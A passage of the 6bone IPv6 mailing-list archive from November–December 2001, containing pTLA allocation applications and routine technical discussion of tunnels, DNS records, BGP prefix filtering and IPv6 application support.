>qualifying experience as a 6Bone end-site or pNLA transit. During
>the entire qualifying period the Applicant must be operationally
>providing the following:
>
>We have started our experimentation at the end of July this year, running in
>our lab some routers, 2 DNS and some services (web server, mail server, ftp,
>proxy, FW. ..) on Linux and FreeBSD, using the pNLA 3FFE :304 :11F ::/48
>delegated by G6.
>
>
>a. Fully maintained, up to date, 6Bone Registry entries for their
>ipv6-site inet6num, mntner, and person objects, including each
>tunnel that the Applicant has.
>
>http://whois.6bone.net/cgi-bin/whois?LDCOM
>
>
>
>b. Fully maintained, and reliable, BGP4+ peering and connectivity
>between the Applicant's boundary router and the appropriate
>connection point into the 6Bone. This router must be IPv6
>pingable. This criteria is judged by members of the 6Bone
>Operations Group at the time of the Applicant's pTLA request.
>
>We maintain BGP4+ session with our peers using the AS15557 origin, and we do
>not readvertise the routes we learn.
>
>tunnel: gw.ipv6.gaoland.net -> nio-ipv6.cssi.renater.fr PIR-IDF BGP4+
>tunnel: IPv6 in IPv4 gw.ipv6.gaoland.net -> rap.viagenie.qc.ca VIAGENIE
>BGP4+
>tunnel: IPv6 in IPv4 gw.ipv6.gaoland.net -> 6r1.routers.fr.fastnetxp.net
>FASTNETXP-FR BGP4+
>
>router :
>212.94.162.106
>3FFE:304:11F::1
>
>
>c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>entries for the Applicant's router(s) and at least one host
>system.
>
>Domain : ipv6.gaoland.net
>DNS     primary : dns1.ipv6.gaoland.net
>         secondary : dns2.ipv6.gaoland.net and cyclope.ipv6.nic.fr (AFNIC)
>
>our gateway is gw.ipv6.gaoland.net (3FFE:304:11F::1)
>our web server is www6.ipv6.gaoland.net (3FFE:304:11F:100::1)
>
>
>d. A fully maintained, and reliable, IPv6-accessible system
>providing, at a mimimum, one or more web pages, describing the
>Applicant's IPv6 services. This server must be IPv6 pingable.
>
>www.ipv6.gaoland.net (IPv4)
>www6.ipv6.gaoland.net (IPv6)
>
>
>
>2. The pTLA Applicant MUST have the ability and intent to provide
>"production-quality" 6Bone backbone service.
>
>We are building a native IPv6 Network in France and we will be soon
>connected at the French IPv6 IX SFINX6.
>We believe IPv6 will arrive soon and we want to prepare ourselves and offer
>our partners and clients to experiment it.
>
>
>Applicants must
>provide a statement and information in support of this claim.
>This MUST include the following :
>
>a. A support staff of two persons minimum, three preferable, with
>person attributes registered for each in the ipv6-site object
>for the pTLA applicant.
>
>Our staff is composed of 3 persons :
>
>David Gavarret DG2-6BONE
>Jean-Jacques Martres JJM1-6BONE
>Vladimir Bergfeld VB2-6BONE
>
>
>b. A common mailbox for support contact purposes that all support
>staff have acess to, pointed to with a notify attribute in the
>ipv6-site object for the pTLA Applicant.
>
>All the staff can be reach at support@ipv6.gaoland.net (
>notify@ipv6.gaoland.net can also be used)
>
>
>3. The pTLA Applicant MUST have a potential "user community" that
>would be served by its becoming a pTLA, e.g., the Applicant is a
>major provider of Internet service in a region, country, or focus
>of interest. Applicant must provide a statement and information in
>support this claim.
>
>LDCOM Networks is an European facilities-based provider of broadband
>infrastructure and services. As a wholesale telecom and internet services
>provider with 30 hosting sites, it provides Ethernet and IP hosting and
>connectivity services (through Wireless local loop, local access through
>xDSL and unbundled telephone lines).
>Our intent is to prepare IPv6 services and migration for theses access
>technologies with our clients or partners. And we would be happy to peer
>with anyone who is interested.
>
>
>4. The pTLA Applicant MUST commit to abide by the current 6Bone
>operational rules and policies as they exist at time of its
>application, and agree to abide by future 6Bone backbone
>operational rules and policies as they evolve by consensus of the
>6Bone backbone and user community.
>
>
>We commit any current and any future 6Bone operational rules and policies.
>
>
>Thanks for your attention.
>If you need more information, you can ask me directly.
>
>
>Regards,
>
>Vladimir Bergfeld
>
>
>
> > ---------------------------------------------------------------
> > Vladimir Bergfeld
> > LDCOM Networks  -  IP Services
> > 1 square Chaptal -92309 Levallois Cedex
> > Tel : (+33) 1 58 63 19 80
> > E-mail : vladimir.bergfeld@ldcom.fr
> >
> >



From 6bone-owner  Fri Nov 30 09:16:35 2001
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Message-ID: <3C07BEEC.D005A44C@ut.ee>
Date: Fri, 30 Nov 2001 19:16:28 +0200
From: Toomas Soome <tsoome@ut.ee>
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To: 6bone@ISI.EDU
Subject: IPv6 support for uw-imap
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hi!

I have developed ipv6 support for uw-imap imap-2001a version. udiff is
downloadable at http://muhv.pri.ee/~tsoome/soft/IPv6/ if anyone is
interested....

it's implemented on solaris system, others may need little work (or
extra libs to link it). this diff can be used to make pine 4.43 to
support IPv6 as well. 

toomas
-- 
The all-softening overpowering knell,
The tocsin of the soul, -- the dinner bell.
		-- Lord Byron

From 6bone-owner  Sat Dec  1 00:45:01 2001
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To: users@ipv6.org, 6bone@ISI.EDU, ipng@sunroof.eng.sun.com,
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Subject: ad hoc list created to discuss v6 usage measurement
From: "Perry E. Metzger" <perry@piermont.com>
Date: 01 Dec 2001 03:45:33 -0500
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I've been trying to get a bunch of statistics together on v6 usage
growth and have found that few people are collecting serious
statistics. I thought I'd start a small discussion on the subject --
accurate statistics are important to demonstrate that v6 is indeed
deploying and that people should spend time and money on preparing and
deploying their own networks.

I've set up an ad hoc list, "metrics@ipv6.org" to host the
discussion. Subscribe via majordomo@ipv6.org.

Perry

From 6bone-owner  Mon Dec  3 22:15:44 2001
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Date: Mon, 03 Dec 2001 22:16:12 -0800
From: Nick Sayer <nsayer@quack.kfu.com>
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Subject: IPv4->6 application shim library
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It's come to the point now that, applications willing, it is possible to 
configure a network without IPv4 and still experience the Internet fully 
(you do this with the Trick-or-Treat DNS proxy and a NAT/PT gateway like 
faith/faithd).

The only problem with this schema is that all of your applications have 
to be aware of IPv4.

My idea is an LD_PRELOAD shim that will transparently "massage" IPv4 apps.

It replaces gethostbyname() and gethostbyaddr(). It looks for IPv6 
addresses for the names presented and keeps a list in memory. It returns 
a phony IPv4 address that can be used later to find the IPv6 host 
desired. socket also gets intercepted and changes AF_INET to AF_?INET6, 
and connect changes the ersatz IPv4 sockaddr into the real IPv6 one 
before calling the real connect.

I'm writing to see if anyone has any comments on this idea, or perhaps 
someone has already done this...?



From 6bone-owner  Mon Dec  3 23:58:51 2001
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To: Nick Sayer <nsayer@quack.kfu.com>
Cc: 6bone@ISI.EDU
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      <3C0C6A2C.7020900@quack.kfu.com> 
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Subject: Re: IPv4->6 application shim library 
From: itojun@iijlab.net
Date: Tue, 04 Dec 2001 16:59:25 +0900
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>My idea is an LD_PRELOAD shim that will transparently "massage" IPv4 apps.
(snip)
>I'm writing to see if anyone has any comments on this idea, or perhaps 
>someone has already done this...?

	check out draft-ietf-ngtrans-bia-01.txt.  an implementation on Solaris
	was demonstrated at N+I tokyo couple of years ago.

itojun

From 6bone-owner  Tue Dec  4 02:05:13 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Nick Sayer <nsayer@quack.kfu.com>
cc: 6bone@ISI.EDU
Subject: Re: IPv4->6 application shim library 
In-reply-to: Your message of Mon, 03 Dec 2001 22:16:12 PST.
             <3C0C6A2C.7020900@quack.kfu.com> 
Date: Tue, 04 Dec 2001 11:05:28 +0100
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 In your previous mail you wrote:

   I'm writing to see if anyone has any comments on this idea, or perhaps 
   someone has already done this...?
   
=> this is the BIA (Bump-In-the-Api) idea. I know Eric Nordmark wrote
one for Solaris, I expect someone from Sun will answer...

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Tue Dec  4 03:41:22 2001
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Date: Tue, 4 Dec 2001 08:41:44 -0300 (ART)
From: Flavio Villanustre <lists@geminis.myip.org>
To: Nick Sayer <nsayer@quack.kfu.com>
cc: <6bone@ISI.EDU>
Subject: Re: IPv4->6 application shim library
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Nick,

I don't fully understand you idea...

On Mon, 3 Dec 2001, Nick Sayer wrote:

> The only problem with this schema is that all of your applications have 
> to be aware of IPv4.

Why should your IPv6 ready applications be aware of IPv4 if you translate 
contents in a proxy (close to the gateway of your network)? They just 
should, let's say, deliver an email using SMTP over IPv6 to your proxy 
which speaks both IPv4 and IPv6 and it, in turn delivers it to real 
destination using IPv4. Same for web browsing or even for interactive 
applications like SSH or telnet. Your IPv6 applications don't need to be 
aware of IPv4...

> 
> My idea is an LD_PRELOAD shim that will transparently "massage" IPv4 apps.
> 
> It replaces gethostbyname() and gethostbyaddr(). It looks for IPv6 
> addresses for the names presented and keeps a list in memory. It returns 
> a phony IPv4 address that can be used later to find the IPv6 host 
> desired. socket also gets intercepted and changes AF_INET to AF_?INET6, 
> and connect changes the ersatz IPv4 sockaddr into the real IPv6 one 
> before calling the real connect.
> 


Regards,

Flavio.


From 6bone-owner  Tue Dec  4 08:01:21 2001
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Date: Tue, 04 Dec 2001 08:00:53 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:82D0::/28 allocated to OXYGEN
Cc: "BUGRA GUMUS" <bugra.gumus@o2.com.tr>, Bill Manning <bmanning@ISI.EDU>
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OXYGEN has been allocated pTLA 3FFE:82D0::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?OXYGEN>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Tue Dec  4 08:17:44 2001
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Date: Tue, 04 Dec 2001 08:15:11 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for UDG - review closes 18 December 2001
Cc: Harold de Dios Tovar Volunt <dios-vol@telecom.noc.udg.mx>
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6bone Folk,

UDG has requested a pTLA allocation. The open review period for this will 
close 13 December 2001. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?udg>


Thanks,

Bob

===
>Date: Mon, 3 Dec 2001 10:55:15 -0600 (CST)
>From: Harold de Dios Tovar Volunt <dios-vol@telecom.noc.udg.mx>
>To: fink@es.net
>Subject: pTLA request for UDg
>
>Hi Bob,
>
>  We would like to apply for a pTLA allocation from 6bone, we are UDG,
>  Universidad de Guadalajara http://www.udg.mx. we are one of the members
>  of Internet 2 here in Mexico, the name of the organisation is CUDI.
>  The Mission of CUDI is to promote and to coordinate the development of
>  networks of telecommunications and computing, focused to the scientific
>  and educative development in Mexico.
>
>  We would like to request one pTLA, conformance to RFC 2772
>
>
>pTLA prefix requests.
>
>
>The following rules apply to qualify for a 6Bone pTLA allocation. It
>should be recognized that holders of 6Bone pTLA allocations are
>expected to provide production quality backbone network services for
>the 6Bone.
>
>1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.
>       During the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>    UDG is in 6bone since Mon, 3 Sep 2001 as pNLA of ITESM
>    3ffe:8240:8012::/48, at this moment we have pNLA 3FFE:8070:1012::1/64
>    from UNAM too.
>
>  a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>    The UDG has the following objects:
>
>    inet6num:    3FFE:8070:1012::/48
>    ipv6-site:   UDG
>    mntner:      MNT-UDG
>    mnt-by:      UDG-6BONE
>    person:      Harold de Dios Tovar.
>
>    theses are our BGP4+ peer conections:
>
>    tunnels:     IPv6 in IPv4 border.ipv6.udg.mx -> gwipv6.ipv6.itesm.mx
>                 ITESM BGP4+
>                 IPv6 in IPv4 border.ipv6.udg.mx -> unam-ipv6-1.ipv6.unam.mx
>                 UNAM STATIC
>                 IPv6 in IPv4 border.ipv6.udg.mx -> ipv6-lab-gw.cisco.com
>                 CISCO BGP4+
>                 IPv6 in IPv4 border.ipv6.udg.mx -> pioneer.ipv6.berkom.de
>                 BERKOM BGP4+
>                 IPv6 in IPv4 border.ipv6.udg.mx -> rtr.ipv6.he.net
>                 HURRICANE BGP4+
>                 IPv6 in IPv4 border.ipv6.udg.mx -> v6-gw.cygate.fi
>                 SMS BGP4+
>                 IPv6 in IPv4 border.ipv6.udg.mx -> cern-atm7.cern.ch
>                 CERN BGP4+
>                 IPv6 in IPv4 border.ipv6.udg.mx -> ipv6-gw.grnet.gr
>                 GRNET BGP4+
>                 IPv6 in IPv4 border.ipv6.udg.mx -> border-gw2.caladan.net
>                 CALADAN BGP4+
>                 IPv6 in IPv4 border.ipv6.udg.mx -> ziggy.ci.ulsa.mx
>                 ULSA STATIC
>
>    application: ping imperio.ipv6.udg.mx
>                 ping noc6.ipv6.udg.mx
>
>    url:         www.ipv6.udg.mx
>
>  b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA 
> request.
>
>
>     Our BGP4+ conections are working under cisco 3600, this router is
>     border.ipv6.udg.mx and can be Ipv6 pingable.
>
>
>  c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>      entries for the Applicant's router(s) and at least one host
>      system.
>
>     UDG has the following about DNS, actually we have 3 IPv6 zone, it
>     is maintain and is using DNS forward (AAAA)  and reverse (ip6.int).
>
>     Those are the records:
>
>     ;; QUESTION SECTION:
>     ;imperio.ipv6.udg.mx.           IN      ANY
>
>     ;; ANSWER SECTION:
>     imperio.ipv6.udg.mx.    86400   IN      AAAA
>     3ffe:8240:8012:1:201:3ff:fee6:ad36
>     imperio.ipv6.udg.mx.    86400   IN      A       148.202.15.149
>     -------------------
>     ;; QUESTION SECTION:
>     ;noc6.ipv6.udg.mx.              IN      ANY
>
>     ;; ANSWER SECTION:
>     noc6.ipv6.udg.mx.       86400   IN      AAAA
>     3ffe:8240:8012:1:210:5aff:fe99:f59b
>     noc6.ipv6.udg.mx.       86400   IN      A       148.202.15.220
>     ------------------
>     ;; QUESTION SECTION:
>     ;border.ipv6.udg.mx.            IN      ANY
>
>     ;; ANSWER SECTION:
>     border.ipv6.udg.mx.     86400   IN      A       148.202.15.8
>     border.ipv6.udg.mx.     86400   IN      AAAA
>     3ffe:8240:8012:1:204:c1ff:fe89:5c71
>
>  d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>     Our web page is http://www.ipv6.udg.mx/ here you could find some basicall
>     information about IPv6,in fact our tunnels status can be seen here.
>     We are implementing TunnelBroker and other aplications to be used by
>     people interested in IPv6.
>
>
>2. The pTLA Applicant MUST have the ability and intent to provide
>     "production-quality" 6Bone backbone service. Applicants must
>      provide a statement and information in support of this claim.
>      This MUST include the following:
>
>  a. A support staff of two persons minimum, three preferable, with
>      person attributes registered for each in the ipv6-site object
>      for the pTLA applicant.
>
>     HDDT2-6BONE
>
>     The support staff of UdG has 7 person, the name person in charge
>     is Harold de Dios Tovar.
>     OBEJCT:ipv6-site
>     changed: dios-vol@telecom.noc.udg.mx
>     OBJECT:person
>     changed: harold@noc.udg.mx
>
>
>  b. A common mailbox for support contact purposes that all support
>      staff have acess to, pointed to with a notify attribute in the
>      ipv6-site object for the pTLA Applicant.
>
>     staff@ipv6.udg.mx
>
>
>3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>     About our University network (multi-campus)...We are the Network
>     Opration Center of the University of Gdl. We have five campuses whit
>     gi ethernet, we have 13 regionals campuses, and we have a cloud of
>     frame relay that connect our regional high school, even we have a E3 link
>     to the internet with MCI world. We have a dedicated connection to the
>     Internet 2 associated with CUDI sociaty.
>     We have 6,000 hosts and our university community is around 100,000
>     elements. We are the second largest University in the country and we
>     are between the high performance centers computing in the country.
>     You can find this information at  NOC web page 
> http://telecom.noc.udg.mx
>
>     UDG is one of the principal members of CUDI (Corporacion Universitaria
>     para el desarollo de internet), this is the internet 2 consortium in
>     Mexico. --> http://www.cudi.edu.mx
>
>
>4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>    UDG undertand the 6bone operational rules and we are strongly agree
>    whit them all and we will to abide to the current and the future 6bone
>    operational rules and policies.
>
>
>  Regards from Mexico!!
>
>
>  --------------------------------------
>       Harold de Dios Tovar
>
>   home: (01) 36 726016
>   work: (01) 31 342232  ext. 2321
>   e-m@il: harold@noc.udg.mx
>           harold@mexp5.mexplaza.com.mx
>
>   NOC: Network Operation Center
>   IPv6 Staff Working Group
>  --------------------------------------



From 6bone-owner  Tue Dec  4 12:23:12 2001
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From: Michael Kjorling <michael@kjorling.com>
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To: 6bone <6bone@ISI.EDU>
Subject: IPv6, firewall issues and numbering schemes
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Hello all,

Long time lurker who wants to get involved with IPv6. My main problem
is that I have a firewall that only allows me to specify TCP, UDP and
ICMP or "default" (I don't know if this is IP, or _any_ traffic, and
the manual provides little clue) allow/reject rules. Yes, I know this
sucks, but it is what I've got right now and it's a separate hardware
box so it's not as simple as replacing the software with something
else. Well, on to my question.

Is it possible to set up at least an IPv4 tunnel so that I can gain
external IPv6 connectivity, with this firewall still in place? Or will
I have to bitch at the manufacturer, or even ditch that box it for
something more flexible?

I haven't really digged into IPv6 yet since it seems pretty pointless
to have only two or three computers talk IPv6 to each other on a LAN -
however, if I can reasonably expect external connectivity to work, it
suddenly comes in an all different light.

Also if someone would care to point me to some documents specifying a
common or recommended IPv6 numbering scheme, that would be great. I
have been thinking about using the 64-bit local part as 48 bit MAC
address + 16 bit counter, but this would mean addresses that are even
harder to remember than usual, and may have security implications as
well (publishing local addresses in global DNS). Suggestions or
pointers on this topic are also greatly appreciated!

Thanks in advance,


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e   \/
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4

"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)
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From 6bone-owner  Tue Dec  4 13:53:02 2001
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Date: Tue, 4 Dec 2001 22:53:35 +0100
From: Jan Oravec <wsx@wsx6.net>
To: 6bone@ISI.EDU
Subject: invalid prefixes advertised
Message-ID: <20011204225335.A78253@ipv6.isternet.sk>
Reply-To: Jan Oravec <wsx@wsx6.net>
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Hello,

I see a lot of invalid prefixes advertised in BGP table received from
several peers of XS26 network.

If I ignore non-aggregated prefixes received, the following invalid prefixes
are in global BGP:

2001:4b00::/35 0 8277 15589 11630 i
- not delegated

2001:a00::/35 0 8277 15589 1275 i
- according to IANA, not delegated
2002:a00::/35 0 8277 15589 1275 i
- same AS source - 1275 - configuration error? -> 6to4 of 10.0.0.0/19
2003::/16     0 8277 45328 278 237 5761 ?
- according to whois.arin.net:
$ whois -a 5761
Microsoft Corporation (ASN-MSN-SEATTLE)
   One Microsoft Way
   Redmond, WA 98052-6399
   US

   Autonomous System Name: MSN-SEATTLE
   Autonomous System Number: 5761

   Coordinator:
      Whipple, David  (DW727-ARIN)  dwhipple@MICROSOFT.COM
      206-703-3876
- according to IANA, 2003::/16 is not delegated
  peers of Microsoft, please filter bogus updates or cancel peering


Best Regards,

Jan Oravec
XS26 - 'Access to IPv6'
jan.oravec@xs26.net

From 6bone-owner  Tue Dec  4 18:43:57 2001
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Date: Tue, 4 Dec 2001 23:44:09 -0300 (ART)
From: Flavio Villanustre <lists@geminis.myip.org>
To: Michael Kjorling <michael@kjorling.com>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: IPv6, firewall issues and numbering schemes
In-Reply-To: <Pine.LNX.4.43.0112042112040.2279-100000@varg.wolfpack>
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Hi Michael...

On Tue, 4 Dec 2001, Michael Kjorling wrote:

> Is it possible to set up at least an IPv4 tunnel so that I can gain
> external IPv6 connectivity, with this firewall still in place? Or will
> I have to bitch at the manufacturer, or even ditch that box it for
> something more flexible?
Many firewalls just ignore content of packets so if you can let normal 
IPv4 transverse it (by allowing ip connectivity between your IPv4/IPv6 
gateway and a tunnel broker) you will be probably able to establish an 
IPv6 over IPv4 tunnel without problems.

> Also if someone would care to point me to some documents specifying a
> common or recommended IPv6 numbering scheme, that would be great. I
> have been thinking about using the 64-bit local part as 48 bit MAC
> address + 16 bit counter, but this would mean addresses that are even
> harder to remember than usual, and may have security implications as
> well (publishing local addresses in global DNS). Suggestions or
> pointers on this topic are also greatly appreciated!
> 
IPv6 features autodiscovery and autoconfiguration in LAN environments. So 
as soon as you load RADVD (route advertisement daemon) on your gateway, 
IPv6 capable machines will autoconfigure themselves (hopefully) 
discovering their own ip addresses as well as their gateway. That's a good 
starting point. After that you can begin experimenting with DHCPv6, etc.
However I'd recommend you reading latest IPv6 allocation policies ietf 
documents (you can find them from pointers in http://www.6bone.net or 
http://geminis.myip.org). It's worth a read.


Regards and good luck,

Flavio.


From 6bone-owner  Wed Dec  5 00:52:41 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Michael Kjorling <michael@kjorling.com>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: IPv6, firewall issues and numbering schemes 
In-reply-to: Your message of Tue, 04 Dec 2001 21:23:39 +0100.
             <Pine.LNX.4.43.0112042112040.2279-100000@varg.wolfpack> 
Date: Wed, 05 Dec 2001 09:52:36 +0100
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 In your previous mail you wrote:

   Is it possible to set up at least an IPv4 tunnel so that I can gain
   external IPv6 connectivity, with this firewall still in place? Or will
   I have to bitch at the manufacturer, or even ditch that box it for
   something more flexible?
   
=> I believe the best solution is to run PPP over UDP. I asked some
months ago if this has to be standardized (for the port number or
access control for instance)... PPP over UDP is very common on
Unixes (this is a standard feature of user mode PPP on FreeBSDs)
and/or is very easy to implement with a tunnel interface/device.

   Also if someone would care to point me to some documents specifying a
   common or recommended IPv6 numbering scheme, that would be great.

=> just use the standard MAC to interface ID stuff or (if you don't
use names which always are a better way) a small counter.

   I have been thinking about using the 64-bit local part as 48 bit MAC
   address + 16 bit counter,

=> I don't understand why you need something so complex...

   but this would mean addresses that are even
   harder to remember than usual, and may have security implications as
   well (publishing local addresses in global DNS).

=> ???

   Suggestions or pointers on this topic are also greatly appreciated!
   
=> read a good book about DNS?

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Wed Dec  5 01:43:00 2001
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Date: Wed, 5 Dec 2001 10:43:50 +0100 (CET)
From: Michael Kjorling <michael@kjorling.com>
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To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: IPv6, firewall issues and numbering schemes 
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On Dec 5 2001 09:52 +0100, Francis Dupont wrote:

>  In your previous mail you wrote:
>
>    Is it possible to set up at least an IPv4 tunnel so that I can gain
>    external IPv6 connectivity, with this firewall still in place? Or will
>    I have to bitch at the manufacturer, or even ditch that box it for
>    something more flexible?
>
> => I believe the best solution is to run PPP over UDP. I asked some
> months ago if this has to be standardized (for the port number or
> access control for instance)... PPP over UDP is very common on
> Unixes (this is a standard feature of user mode PPP on FreeBSDs)
> and/or is very easy to implement with a tunnel interface/device.

This sounds very interesting. Filtering at the tunnel endpoint is
hardly a problem; I just want to have _some_ filtering on IPv6. Also I
could try allowing all traffic from the other end of the tunnel to my
end, as Flavio Villanustre suggested. Also, another person suggested
that I just allow protocol 41 (SIP); however, the firewall won't let
me do this. I've been facing that very same obstacle when trying to
set up IPsec, but then there are not two clearly defined endpoints
which makes it a lot harder to do in a secure fashion.


>    Also if someone would care to point me to some documents specifying a
>    common or recommended IPv6 numbering scheme, that would be great.
>
> => just use the standard MAC to interface ID stuff or (if you don't
> use names which always are a better way) a small counter.
>
>    I have been thinking about using the 64-bit local part as 48 bit MAC
>    address + 16 bit counter,
>
> => I don't understand why you need something so complex...

Well, I did point it out in the next few words - the addresses do get
complicated and hard to remember.


>    but this would mean addresses that are even
>    harder to remember than usual, and may have security implications as
>    well (publishing local addresses in global DNS).
>
> => ???

I assume you mean the latter part - well, I am not sure I want my
local Ethernet addresses available to anyone capable of using
nslookup.


>    Suggestions or pointers on this topic are also greatly appreciated!
>
> => read a good book about DNS?

Actually I have read through "DNS and BIND", 4th edition, cover to
cover. And it covers very little on IPv6-in-IPv4 tunnels. None that I
have seen, in fact.

I will look, and try to learn. I tried searching the list archives for
"ppp over udp" as well but got an error message saying that htdig
could not open the configuration file. If anyone has got any good
pointers in the archive, please let me know.

Thanks everyone for your input - it is appreciated!


Michael Kjörling

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e   \/
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4

"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)


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From 6bone-owner  Wed Dec  5 09:37:33 2001
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Subject: RE: invalid prefixes advertised
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We are testing a new protocol and expected IANA to make the address
block assignment by now.  The proposed block to IANA is 2003::/16.  A
copy of the protocol draft can be found at:

http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-shipworm-03.txt

Sorry if this is causing anyone any grief.

-Matthew


-----Original Message-----
From: Jan Oravec [mailto:wsx@wsx6.net] 
Sent: Tuesday, December 04, 2001 1:54 PM
To: 6bone@ISI.EDU
Subject: invalid prefixes advertised

Hello,

I see a lot of invalid prefixes advertised in BGP table received from
several peers of XS26 network.

If I ignore non-aggregated prefixes received, the following invalid
prefixes
are in global BGP:

2001:4b00::/35 0 8277 15589 11630 i
- not delegated

2001:a00::/35 0 8277 15589 1275 i
- according to IANA, not delegated
2002:a00::/35 0 8277 15589 1275 i
- same AS source - 1275 - configuration error? -> 6to4 of 10.0.0.0/19
2003::/16     0 8277 45328 278 237 5761 ?
- according to whois.arin.net:
$ whois -a 5761
Microsoft Corporation (ASN-MSN-SEATTLE)
   One Microsoft Way
   Redmond, WA 98052-6399
   US

   Autonomous System Name: MSN-SEATTLE
   Autonomous System Number: 5761

   Coordinator:
      Whipple, David  (DW727-ARIN)  dwhipple@MICROSOFT.COM
      206-703-3876
- according to IANA, 2003::/16 is not delegated
  peers of Microsoft, please filter bogus updates or cancel peering


Best Regards,

Jan Oravec
XS26 - 'Access to IPv6'
jan.oravec@xs26.net

From 6bone-owner  Wed Dec  5 10:50:20 2001
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Can anyone suggest a peer for me?  I've been looking without success.  My IP address is 63.151.193.48.

Thanks.

Ken


From 6bone-owner  Wed Dec  5 10:57:42 2001
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Date: Thu, 06 Dec 2001 02:56:27 +0800
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From: David Yip <dy@davidyip.com>
Subject: IPv6 DNS on Solaris 8
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Dear all,

Is Solaris 8 supports only A6 but not AAAA?


--

David Yip


From 6bone-owner  Wed Dec  5 11:13:18 2001
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Date: Wed, 05 Dec 2001 11:12:50 -0800
To: "Ken Diliberto" <Ken@kdmd.net>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
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Ken,

At 10:50 AM 12/5/2001 -0600, Ken Diliberto wrote:
>Can anyone suggest a peer for me?  I've been looking without success.  My 
>IP address is 63.151.193.48.

Have you looked into using 6to4?

<http://www.6bone.net/6bone_6to4.html>


Bob


From 6bone-owner  Wed Dec  5 11:46:48 2001
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On Wed, 5 Dec 2001, Ken Diliberto wrote:

> Can anyone suggest a peer for me?  I've been looking without success.
> My IP address is 63.151.193.48.

Looks like you're connected through UUNet.  Have you contacted them?


From 6bone-owner  Wed Dec  5 16:23:34 2001
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Subject: Re: IPv6 DNS on Solaris 8
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On Thu, Dec 06, 2001 at 02:56:27AM +0800, David Yip wrote:
> Dear all,
> 
> Is Solaris 8 supports only A6 but not AAAA?

This is not really an OS issue, rather a resolver / nameserver issue.
I believe Solaris 8 packs the BIND resolver library by default, not
sure about the version; if you are indeed having problems, you might
upgrade your BIND installation to a newer version, or switch to a
different resolver library and name server/cache software.

G'luck,
Peter

-- 
Thit sentence is not self-referential because "thit" is not a word.

From 6bone-owner  Wed Dec  5 23:57:40 2001
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On Thu, 6 Dec 2001, David Yip wrote:

> Dear all,
>
> Is Solaris 8 supports only A6 but not AAAA?
>
> David Yip
It's the other way round.

Pete.


From 6bone-owner  Thu Dec  6 01:38:32 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
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cc: 6bone@ISI.EDU
Subject: Re: In search of a peer 
In-reply-to: Your message of Wed, 05 Dec 2001 11:12:50 PST.
             <5.1.0.14.0.20011205111141.030b2d90@imap2.es.net> 
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 In your previous mail you wrote:

   Have you looked into using 6to4?
   
   <http://www.6bone.net/6bone_6to4.html>
   
=> BTW I am looking for a 6to4 node connected to the 6bone
(I'd like to try my private 6to4 gateway and its security rules).

Thanks

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Thu Dec  6 03:16:31 2001
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Francis Dupont wrote:

> => BTW I am looking for a 6to4 node connected to the 6bone
> (I'd like to try my private 6to4 gateway and its security rules).

http://www.kfu.com/~nsayer/6to4/#list

-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX



From 6bone-owner  Thu Dec  6 08:17:35 2001
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From: "Dan Perry" <dap23@cornell.edu>
To: <6bone@ISI.EDU>
Subject: 6bone access from behind NAT
Date: Thu, 6 Dec 2001 11:18:33 -0500
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Hi all,
	I'm trying (unsuccessfully) to connect a small network of
windows 2000 machines to the 6bone.  Originally, I had one machine
running the standard Windows NAT service, and that server had one NIC
connected directly to the DSL line, and the other to the private
network.   I had that server running as a 6to4 router, and everything
worked fine.   However, I've since replaced that server with a common
